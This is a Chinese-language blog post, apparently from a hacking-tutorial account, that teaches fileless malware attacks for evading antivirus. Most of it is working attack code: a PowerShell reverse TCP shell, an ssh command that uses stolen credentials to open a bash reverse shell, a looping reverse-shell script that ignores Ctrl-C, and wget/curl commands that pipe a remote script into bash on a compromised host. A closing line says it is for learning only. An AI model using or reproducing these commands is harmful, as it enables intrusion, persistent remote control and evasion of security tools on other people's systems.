​hacker必会技能!

2020-12-23 11:34:34 浏览数 (1)

hacker必会技能!

“无文件恶意软件是一种操作及其简单但又及其危险的威胁,它能使某些网络防御无效。”

背景资料:

网络安全公司CrowdStrike发布了《2020全球威胁态势报告》,其研究结果显示“无文件恶意软件”攻击的趋势增加,无文件恶意软件的攻击数量超过了恶意软件的攻击数量。2019年,51%的攻击使用了无文件恶意软件技术,而在2018年,只有40%的攻击使用了无文件恶意软件技术。

“可以看到无文件恶意软件攻击将会成为以后主流攻击手段,这也让防御方更加头疼!”

优点:

恶意软件攻击定义为:有恶意文件被写入磁盘,导致会被防护产品检测到试图运行该文件,然后识别或阻止它,这些入侵尝试相对来说比较容易拦截和阻止,通常可以用传统的反恶意软件解决方案有效地阻止。

恶意软件攻击定义为:初始没有文件或文件片段被写入磁盘的攻击,例如包括代码从内存执行的攻击、或者利用盗取的凭证使用已知工具进行远程登录的攻击,需要更广泛更复杂的检测技术来可靠地识别和拦截,包括行为检测和人类威胁捕获但是什么是无文件恶意软件。

“可以看到无文件恶意软件攻击最大的优点是,一次攻击将不会再执行的.exe或类似的东西,而是直接ARM运行有效载荷!”

Powershell示例:

代码语言:javascript复制
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback   'PS '   (pwd).Path   '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

此powershell命令是反向TCP Shell。从技术上讲,它在属于无文件恶意软件范畴。它可以直接从命令行或通过漏洞利用执行,功能和恶意软件无疑,Of course! 还有其他方法可以运行代码。这种小巧的Powershell是非常nice!的,防病毒产品没有机会扫描文件中的恶意代码,因为没有文件可扫描。除外,它还非常易于修改,混淆和添加功能。

实战应用:

假如我们当前获得了一个ssh连接用户test的用户凭证(口令),那么我们可以这样做

首先在我们攻击监听一个端口。

代码语言:javascript复制
nc -lvk 8888

我们将在被攻击的主机上执行反向shell程序。在攻击机输入

代码语言:javascript复制
ssh test@compromised.host "bash -i >& /dev/tcp/<yourIP>/<yourPort> 0>&1"

这时候你将成功获得一个反向shell连接!

再进一步:

代码语言:javascript复制
#!/bin/bash
trap ":" SIGINT SIGHUP
while True; do
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    sleep 30
Done

这个shell脚本将30秒为我们执行一次有效负载,且屏蔽SIGINT信号,那么Ctrl C也无法杀死!

“SIGINT信息:程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。”

那么你会问这不就是一个shell脚本,一样会写入磁盘啊,一样会被发现的!

当然,所以我们接下来才是重点:各位看官请看

第一步优化:(直接执行命令)把sh脚本保存为test.sh放在我们自己的服务器上

代码语言:javascript复制
whereis wget && (wget -O - http://ip:8888/test.sh | bash &) || whereis curl && (curl -o - http://localhost:8888/test.sh | bash &)

第二步优化,当然前面那样还是会留下些许痕迹!那么这样勒?

代码语言:javascript复制
ssh test@compromised.host "whereis wget && (wget -O - http://localhost:8888/test.sh | bash &) || whereis curl && (curl -o - http://localhost:8888/test.sh | bash &)"

从命令的复杂程度来看,是非常简单的,但是它从来没有碰过磁盘。这种无文件攻击的弊端就是一断电重启就哦豁了!因为代码驻留在内存中运行,当然这丝毫不影响它成为黑客攻击的

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注在走吧!

请严格遵守网络安全法相关条例!

此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

转载此文章,请标明出处。

关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

0 人点赞